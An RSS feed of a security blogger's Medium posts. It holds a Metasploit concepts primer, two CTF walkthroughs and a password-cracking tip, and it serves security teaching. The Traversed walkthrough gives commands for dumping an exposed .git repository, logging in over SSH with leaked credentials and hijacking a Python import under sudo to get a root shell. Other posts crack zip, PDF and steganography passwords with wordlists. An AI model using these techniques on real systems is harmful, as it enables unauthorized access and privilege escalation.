<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by maz4l on Medium]]></title>
        <description><![CDATA[Stories by maz4l on Medium]]></description>
        <link>https://medium.com/@mazalwebdesign?source=rss-21291b41cbb1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*SYP6SugYd9DRa0dbHo3PkQ.jpeg</url>
            <title>Stories by maz4l on Medium</title>
            <link>https://medium.com/@mazalwebdesign?source=rss-21291b41cbb1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 19:41:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mazalwebdesign/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Metasploit Fundamentals: Vulnerabilities, Exploits, and Payloads]]></title>
            <link>https://medium.com/@mazalwebdesign/metasploit-fundamentals-vulnerabilities-exploits-and-payloads-26bb2031f248?source=rss-21291b41cbb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/26bb2031f248</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[maz4l]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 18:52:53 GMT</pubDate>
            <atom:updated>2026-06-15T18:52:53.283Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FTrGns2JSpUl_Hvc_-POyw.jpeg" /><figcaption>maz4l ai art</figcaption></figure><h3>Introduction</h3><p>Before using Metasploit effectively, it’s essential to understand three core concepts that form the foundation of every attack chain:</p><ul><li><strong>Vulnerability</strong></li><li><strong>Exploit</strong></li><li><strong>Payload</strong></li></ul><p>These concepts appear in penetration tests, vulnerability assessments, bug bounty reports, and real-world security incidents.</p><h3>The Exploit Chain</h3><p>Think of a building with a broken lock:</p><ul><li><strong>Vulnerability</strong> → The broken lock.</li><li><strong>Exploit</strong> → Opening the door through that weakness.</li><li><strong>Payload</strong> → Actions performed after gaining access.</li></ul><h3>Vulnerability</h3><p>A vulnerability is a flaw in software, hardware, or configuration that creates an opportunity for an attacker.</p><p>Examples:</p><ul><li>Remote Code Execution (RCE)</li><li>Authentication Bypass</li><li>File Inclusion</li><li>Privilege Escalation</li></ul><p>A vulnerability alone does nothing until it is abused.</p><h3>Exploit</h3><p>An exploit is the code or technique used to trigger a vulnerability.</p><p>Its purpose is to gain unauthorized access or execute unintended actions on the target system.</p><p>Examples:</p><ul><li>Sending specially crafted requests</li><li>Triggering a buffer overflow</li><li>Exploiting a known CVE</li></ul><h3>Payload</h3><p>A payload is the code executed after the exploit succeeds.</p><p>Common payload actions include:</p><ul><li>Opening a reverse shell</li><li>Creating a new user</li><li>Running system commands</li><li>Installing persistence mechanisms</li></ul><p><strong>Key Idea:</strong><br>An exploit opens the door. The payload performs the action.</p><h3>Metasploit Module Categories</h3><p>Metasploit organizes functionality into seven module types.</p><h3>1. Exploits</h3><p>Exploit modules target specific vulnerabilities.</p><p>Examples:</p><pre>exploits/windows/smb/<br>exploits/linux/http/</pre><p>Purpose:</p><ul><li>Trigger vulnerabilities</li><li>Gain initial access</li></ul><p>This is the largest module category in Metasploit.</p><h3>2. Auxiliary</h3><p>Auxiliary modules perform actions that do not directly exploit systems.</p><p>Examples:</p><ul><li>Port scanning</li><li>Service enumeration</li><li>Brute-force attacks</li><li>Network sniffing</li><li>Fuzzing</li></ul><p>Useful during reconnaissance and information gathering.</p><h3>3. Payloads</h3><p>Payload modules contain code executed after exploitation.</p><p>Examples:</p><ul><li>Reverse shells</li><li>Bind shells</li><li>Meterpreter sessions</li><li>Command execution payloads</li></ul><p>Metasploit includes thousands of payload options for different platforms and architectures.</p><h3>4. Post-Exploitation</h3><p>Post modules automate tasks after gaining access.</p><p>Common activities:</p><ul><li>Credential harvesting</li><li>System enumeration</li><li>Screenshot capture</li><li>Network pivoting</li><li>Privilege escalation assistance</li></ul><p>Examples:</p><pre>post/windows/gather/<br>post/linux/manage/</pre><h3>5. Encoders</h3><p>Encoders modify payload data into a different format.</p><p>Popular example:</p><pre>x86/shikata_ga_nai</pre><p>Important:</p><ul><li>Encoding is NOT encryption.</li><li>Encoding is NOT reliable antivirus evasion.</li></ul><p>Primary use cases:</p><ul><li>Removing bad characters</li><li>Adjusting shellcode formats</li></ul><h3>6. NOP Modules</h3><p>NOP (No Operation) modules generate NOP sleds.</p><p>A NOP instruction tells the processor to do nothing and move to the next instruction.</p><p>Purpose:</p><ul><li>Improve reliability during memory corruption attacks.</li><li>Help payload execution in buffer overflow exploits.</li></ul><p>Metasploit usually handles these automatically.</p><h3>7. Evasion</h3><p>Evasion modules attempt to bypass security controls.</p><p>Examples:</p><ul><li>Windows Defender bypass techniques</li><li>AppLocker bypasses</li><li>Living-off-the-land techniques</li></ul><p>Unlike encoders, these modules implement actual evasion methods.</p><h3>Payload Types</h3><p>Metasploit payloads are divided into three categories.</p><h3>Single Payloads (Stageless)</h3><p>Single payloads contain everything needed in one package.</p><p>Examples:</p><ul><li>Execute commands</li><li>Create users</li><li>Open shells</li></ul><h3>Advantages</h3><ul><li>Reliable</li><li>No second download required</li></ul><h3>Disadvantages</h3><ul><li>Larger payload size</li></ul><p>Example:</p><pre>windows/x64/shell_reverse_tcp</pre><h3>Stagers</h3><p>A stager is a small payload whose job is to establish communication with the attacker.</p><p>Once connected, it downloads the larger payload.</p><h3>Advantages</h3><ul><li>Small initial footprint</li><li>Faster delivery</li></ul><h3>Disadvantages</h3><ul><li>Requires stable connectivity</li></ul><h3>Stages</h3><p>Stages are the larger payload components downloaded by a stager.</p><p>Together:</p><pre>Stager + Stage = Staged Payload</pre><p>Example:</p><pre>meterpreter/reverse_tcp</pre><p>The stager connects first and then downloads the Meterpreter stage.</p><h3>Understanding Payload Naming Conventions</h3><p>Metasploit uses naming conventions to indicate whether a payload is staged or stageless.</p><h3>Stageless Payload</h3><p>Uses an underscore (_)</p><pre>windows/x64/shell_reverse_tcp</pre><p>Meaning:</p><ul><li>Single payload</li><li>Entire payload delivered at once</li></ul><h3>Staged Payload</h3><p>Uses a forward slash (/)</p><pre>windows/x64/shell/reverse_tcp</pre><p>Meaning:</p><ul><li>Small stager delivered first</li><li>Full payload downloaded afterward</li></ul><h3>General Payload Structure</h3><pre>&lt;platform&gt;/&lt;architecture&gt;/&lt;payload_type&gt;&lt;separator&gt;&lt;connection_method&gt;</pre><p>Example:</p><pre>linux/x86/meterpreter/reverse_tcp</pre><p>Breakdown:</p><ul><li>Platform: Linux</li><li>Architecture: x86</li><li>Payload: Meterpreter</li><li>Connection: Reverse TCP</li><li>Type: Staged (because of /)</li></ul><p>Stageless equivalent:</p><pre>linux/x86/meterpreter_reverse_tcp</pre><h3>Key Takeaways</h3><ul><li>A <strong>vulnerability</strong> is a weakness in a system.</li><li>An <strong>exploit</strong> triggers that weakness.</li><li>A <strong>payload</strong> performs actions after exploitation.</li><li>Metasploit contains seven major module categories:</li><li>Exploits</li><li>Auxiliary</li><li>Payloads</li><li>Post-Exploitation</li><li>Encoders</li><li>NOPs</li><li>Evasion</li><li>Payloads can be:</li><li>Singles (stageless)</li><li>Stagers</li><li>Stages</li><li>An underscore (_) indicates a <strong>stageless payload</strong>.</li><li>A forward slash (/) indicates a <strong>staged payload</strong>.</li></ul><p>Understanding these fundamentals makes it significantly easier to navigate Metasploit and choose the correct modules during penetration testing engagements.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26bb2031f248" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️ Traversed CTF Walkthrough]]></title>
            <link>https://systemweakness.com/%EF%B8%8F-traversed-ctf-walkthrough-2918d7b5f8a6?source=rss-21291b41cbb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/2918d7b5f8a6</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[git]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[maz4l]]></dc:creator>
            <pubDate>Fri, 13 Mar 2026 06:55:01 GMT</pubDate>
            <atom:updated>2026-03-20T09:30:54.344Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fHS037ymn8IhV5ZFuz7xMw.jpeg" /><figcaption>maz4l aiart from album Violet Claw</figcaption></figure><h3>🕵️ Traversed CTF - Walkthrough</h3><h3>Git Exposure to Root.</h3><h3><em>Difficulty: Easy–Medium<br>Goal: Capture `user` and `root` flags</em></h3><h3>🕶️ Traversed — From Exposed Git to Full Root Compromise</h3><p>What happens when a developer forgets to protect a .git directory?</p><p>In <a href="https://hackerdna.com/labs/traversed"><strong>Traversed</strong></a>, a single exposed repository turns into a full system compromise.<br> What starts as simple reconnaissance quickly escalates into:</p><ul><li>🔓 Credential discovery</li><li>🖥️ SSH compromise</li><li>🔥 Python module hijacking</li><li>👑 Full root access</li></ul><p>This challenge demonstrates a powerful real-world attack chain:</p><blockquote><em>Information Disclosure → Credential Reuse → Sudo Misconfiguration → Privilege Escalation</em></blockquote><p>Let’s break it down step by step — from surface recon to complete system ownership.</p><h3>🔎 1. Reconnaissance</h3><p>I started with a full service and version scan:</p><pre>export TargetIP<br>TargetIP=3.253.xx.xxx<br>nmap -sC -sV -T4 -Pn $TargetIP</pre><p>Open Ports Discovered:</p><pre>21/tcp   open  ftp?<br>22/tcp   open  ssh     OpenSSH 9.7<br>80/tcp   open  http    nginx 1.27.1<br>1723/tcp open  pptp?</pre><p>The web server was running <strong>nginx 1.27.1</strong>, and something interesting appeared:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*ManL5nh_BUZMOcUP3Ly-Uw.png" /></figure><pre>http-git:<br>  $TargetIP:80/.git/<br>  Git repository found!</pre><p>🚨 An exposed `.git` directory.</p><h3>📂 2. Dumping the Exposed Git Repository</h3><p>An exposed Git repository often leaks sensitive information.</p><p>I dumped it locally:</p><pre>./git-dumper.py http://$TargetIP:80/.git/ ./repo<br>cd repo</pre><h4>🔍 Searching for Sensitive Information:</h4><pre>grep -Ri &quot;pass&quot; .</pre><p>This revealed a commit mentioning a redacted password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sHrsq0luTFK2mgcGRGhjmQ.png" /></figure><p>I inspected the commit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*T7kk84xltBnXnAEooNQ6PA.png" /></figure><pre>git show eba1551975403fab8246b1ecbf7d340f29185036<br>credentials.txt</pre><p>Revealed a file credentials.txt containing:</p><pre>hackerdna:Pxxxxxxxxx</pre><p><em>💥 Credentials exposed in commit history.</em></p><h3>🔐 3. Initial Access — SSH Login</h3><p>Using the discovered credentials:</p><pre>ssh hackerdna@$TargetIP</pre><h3>Login successful 🎉</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*oEukvti1Z112CCPeF50IkA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*qCPRaTYklcamKNmlvHfm8Q.png" /></figure><pre>cat /home/flag-user.txt</pre><p>Found the <strong>user flag</strong> and captured it.</p><h3>🔑 Privilege Escalation</h3><p>Checking sudo permissions:</p><pre>sudo -l</pre><p>Output:</p><pre>User hackerdna may run the following commands on ip-10-0-0-245:<br>    (root) NOPASSWD: /usr/bin/python3 /home/hackerdna/test.py</pre><p>So, I could run a specific Python script as <strong>root</strong> without a password.</p><p>Inspecting the script:</p><pre>cat /home/hackerdna/test.py<br>import webbrowser<br>webbrowser.open(&quot;&lt;https://google.com&gt;&quot;)</pre><h3>⚡ Exploitation — Python Import Hijacking</h3><p>The script imported webbrowser. Python first checks the current directory before system libraries — meaning I could create my own malicious webbrowser.py.</p><p>I created /home/hackerdna/webbrowser.py:</p><p>cat &gt; /home/hackerdna/webbrowser.py</p><pre>import os<br>def open(url):<br>    os.system(&quot;/bin/sh&quot;)</pre><p>Then executed:</p><pre>sudo /usr/bin/python3 /home/hackerdna/test.py</pre><p>Result → Root shell 🚀</p><h3>🏴 Root Flag</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*3xIYy3l3NBwIj5TaJfAwFQ.png" /></figure><pre>/home/hackerdna # whoami<br>root<br>ls /root<br>flag-root.txt<br>/home/hackerdna # cat /root/flag-root.txt</pre><pre>Flag obtained:<br>fce6xxxx-xxxx-xxxx-xxxx-xxxxxxe84ad9</pre><h3>✅ Summary</h3><ul><li><strong>Misconfigured Git repo</strong> → leaked SSH credentials</li><li><strong>SSH access as hackerdna</strong></li><li><strong>Sudo misconfiguration</strong> (restricted Python script)</li><li><strong>Python import hijacking</strong> → full root shell</li><li><strong>Captured both user + root flags</strong> 🎯</li></ul><p>⚡ Lessons:</p><ul><li>Never expose .git directories.</li><li>Review commit history for secrets.</li><li>Limit sudo permissions carefully, especially with interpreters like Python.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2918d7b5f8a6" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/%EF%B8%8F-traversed-ctf-walkthrough-2918d7b5f8a6">🕵️ Traversed CTF Walkthrough</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Official Write-Up for the Lucky Panther CTF TryHackMe Room]]></title>
            <link>https://medium.com/@mazalwebdesign/official-write-up-for-the-lucky-panther-ctf-tryhackme-room-ee5a1d5a3a2d?source=rss-21291b41cbb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee5a1d5a3a2d</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[maz4l]]></dc:creator>
            <pubDate>Thu, 22 Aug 2024 17:12:59 GMT</pubDate>
            <atom:updated>2024-10-28T13:54:24.235Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><a href="https://tryhackme.com/r/room/luckypantherctf">Room</a></blockquote><blockquote>You can also join this room by going to My Rooms page and entering Code: `luckypantherctf`</blockquote><h3>Task 1: Download the Image</h3><p>Start by downloading the provided image file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*rPd4EaAW8NBICbTY.jpg" /></figure><h3>Task 2: Investigate the Image</h3><h3>Question 1: What Did You Find in the Picture?</h3><p>To get started, you can try using online tools. Such as: <a href="https://www.aperisolve.com/">aperisolve</a>, <a href="https://futureboy.us/stegano/decinput.html">stegano</a> … . But I’ll skip this part and move on to the terminal.</p><p><strong>Just now let’s try commands:</strong></p><pre>file<br>strings<br>exiv2 &lt;file.name&gt;<br>binwalk -e &lt;file.name&gt;</pre><p>And now closer to the point, use the <a href="https://www.kali.org/tools/steghide/">steghide</a> tool to analyze the image:</p><pre>steghide info luckypanther.jpg</pre><p>Output:</p><pre>&quot;luckypanther.jpg&quot;:<br>format: jpeg<br>capacity: 28.7 KB<br>Try to get information about embedded data? (y/n) y<br>Enter passphrase:</pre><p>Since a passphrase is required, we need to find it. Let’s try <a href="https://linux-packages.com/kali-linux/package/stegseek">StegSeek</a> with the rockyou.txt wordlist:</p><pre>stegseek luckypanther.jpg /usr/share/wordlists/rockyou.txt -</pre><pre>StegSeek successfully finds the passphrase:StegSeek 0.6 <br>[i] Found passphrase: &quot;$pxxxxxxxxxx&quot;</pre><p>Next, extract the hidden file using steghide:</p><pre>steghide extract -sf luckypanther.jpg</pre><p>Enter the passphrase “$pxxxxxxxxxx” to extract the embedded file, which is forest.zip.</p><p><strong>Answer:</strong> forest.zip</p><h3>Question 2: What is Your Second Find?</h3><p>Let’s unzip the forest.zip file:</p><pre>unzip forest.zip</pre><p>Output:</p><pre>Archive:  forest.zip<br>forest.zip: deepforest.pdf password:</pre><p>The forest.zip file is password-protected. To crack it, use <a href="https://www.kali.org/tools/fcrackzip/">fcrackzip</a>:</p><pre>fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt forest.zip</pre><p>After running the command, we find the password:</p><pre>PASSWORD FOUND!!!!: pw == xxxxxxxxxx</pre><p>Unzipping with the password xxxxxxxxxx reveals the deepforest.pdf file.</p><p><strong>Answer:</strong> deepforest.pdf</p><h3>Question 3: What is Hiding in the Deep Forest?</h3><p>Opening deepforest.pdf requires a password. To crack it, first extract the hash using pdf2john:</p><pre>/usr/share/john/pdf2john.pl deepforest.pdf &gt; deepforesthash</pre><p>Then, use John the Ripper to crack the hash:</p><pre>john --format=PDF --wordlist=/usr/share/wordlists/rockyou.txt deepforesthash</pre><p>John successfully cracks the password:</p><pre>gxxx-xxxx (deepforest.pdf)</pre><p>Alternatively, you can use <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">Hashcat</a>. First, edit the hash file by removing deepforest.pdf: from the start, and save it as deepforesthash2.</p><p>To crack the hash with Hashcat:</p><pre>hashcat -m 10500 deepforesthash2 -a 0 /usr/share/wordlists/rockyou.txt</pre><p>Hashcat confirms the password is gxxx-xxxx.</p><p>Now, open deepforest.pdf with the password gxxx-xxxx to reveal the first flag.</p><p><strong>Answer:</strong> GUZ{U!_U4px3e!_l0h_4e3_va_4ur_Q33c_s0e3$g!_xxxxxxxxx}</p><h3>Task 3: What is the Flag?</h3><p>Just a little more deciphering left.</p><p><em>Are you in the Deep Forest?</em></p><p><strong>Question: What is the Flag?</strong></p><p>We have a flag example from Task 2:</p><pre>GUZ{U!_U4px3e!_l0h_4e3_va_4ur_Q33c_s0e3$g!_xxxxxxxxx}</pre><p>Using the <strong>Cipher Identifier</strong> tool at <a href="https://www.dcode.fr/cipher-identifier">dCode</a>, we identify it as a ROT13 cipher.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*0Uwpv5lKJDFFEhfJ3UIvXQ.png" /></figure><p>click on ROT-13 Cipher and decrypt srting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*5P3ee4M1OvMwr-BBrYutjw.png" /></figure><p>We can decode it directly using ROT13, or by using <a href="https://cyberchef.org/">CyberChef</a> with the ROT13 function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jA7ygpX5b3fTnQbUmjdUuQ.png" /></figure><p><strong>Answer:</strong> THM{H!_H4ck3r!_xxx_xxx_xx_xxx_xxxx_xxxxxxx_C0ngr4t$!}</p><p>Great! Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee5a1d5a3a2d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF TIP: How to Unzip a Password-Protected Zip File with a Password-Protected PDF Inside]]></title>
            <link>https://medium.com/@mazalwebdesign/ctf-tip-how-to-unzip-a-password-protected-zip-file-with-a-password-protected-pdf-inside-f24701d0f95f?source=rss-21291b41cbb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/f24701d0f95f</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[maz4l]]></dc:creator>
            <pubDate>Tue, 09 Jul 2024 12:12:54 GMT</pubDate>
            <atom:updated>2026-03-13T06:08:51.369Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1U88MLvw5A3zuR0vwX7Y1A.jpeg" /><figcaption>maz4l aiart</figcaption></figure><h3>CTF TIP: Rock On or ZIP UNZIP</h3><h3>Tools Required:</h3><ul><li><a href="https://www.kali.org/tools/john/">Kali Tools/John</a></li><li><a href="https://hashcat.net/wiki/doku.php?id=example_hashes">Hashcat</a></li><li><a href="https://www.kali.org/tools/fcrackzip/">fcrackzip</a></li></ul><h3><strong>Detailed Steps:</strong></h3><blockquote><strong>Step 1:</strong></blockquote><blockquote><strong>Crack the Zip File Password Use `fcrackzip` to find the password for the zip file using the `rockyou.txt` wordlist.</strong></blockquote><pre>fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt &lt;file.zip&gt;<br><br>**Output Example:**<br>PASSWORD FOUND!!!!: pw == **** *******</pre><blockquote><strong>Unzip the file using the found password</strong>:</blockquote><pre>Archive: flag.zip<br>[flag.zip] flag.pdf password: **** *******<br>password incorrect - reenter:<br> inflating: flag.pdf<br></pre><blockquote><strong>Step 2:</strong></blockquote><blockquote><strong>Extract the Hash from the PDF File<br>Make sure you have `pdf2john.pl` (usually found in the `john/run` directory if you have the full John the Ripper suite):</strong></blockquote><pre> /usr/share/john/pdf2john.pl flag.pdf &gt; yourfile.hash</pre><blockquote><strong>Step 3:</strong></blockquote><blockquote><strong>Verify the Extracted Hash<br>Check the contents of `yourfile.hash`:</strong></blockquote><pre>cat yourfile.hash</pre><p><strong>Output Example:</strong></p><pre>flag.pdf:$pdf$2*3*128*-1028*1*16*0fdcff65008750b48a459185119382b3*32*5ae0e1a58bd50f14924e2750cfc0ae</pre><blockquote><strong>Step 4:</strong></blockquote><blockquote><strong>Edit the Hash File (Optional)<br>If necessary, you can manually edit the hash file:</strong></blockquote><pre>sudo nano yourfile.hash</pre><blockquote><strong>Step 5:</strong></blockquote><blockquote><strong>Crack the PDF Password with John the Ripper<br>Run John the Ripper using the extracted hash and the `rockyou.txt` wordlist:</strong></blockquote><pre>john -format=PDF -wordlist=/usr/share/wordlists/rockyou.txt yourfile.hash</pre><p><strong>After running John the Ripper, check the cracked password:</strong></p><pre>john - show yourfile.hash</pre><blockquote><strong>Step 6:</strong></blockquote><blockquote><strong>Alternatively, Use Hashcat<br>If you prefer, you can use Hashcat to crack the PDF password:</strong></blockquote><pre>hashcat -m 10500 yourfile.hash -a 0 /usr/share/wordlists/rockyou.txt -show</pre><blockquote><strong>Troubleshooting Tips:</strong></blockquote><blockquote><strong>- Ensure the PDF Hash is Correctly Extracted: Verify that `yourfile.hash` is not empty.<br>- Check John the Ripper’s Progress and Logs: Sometimes John the Ripper might be running but not outputting directly to the terminal. Ensure it has time to process and check its logs.<br>- Update John the Ripper: Ensure you have the latest version of John the Ripper installed.</strong></blockquote><p>Following these steps should help you successfully unzip a password-protected zip file and crack a password-protected PDF file inside.</p><h3>Happy Hacking!</h3><p><a href="https://referral.hackthebox.com/mzyGKZb"><strong>My HTB Academy refferal link</strong></a><strong> to get extra cubes upon registration!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f24701d0f95f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>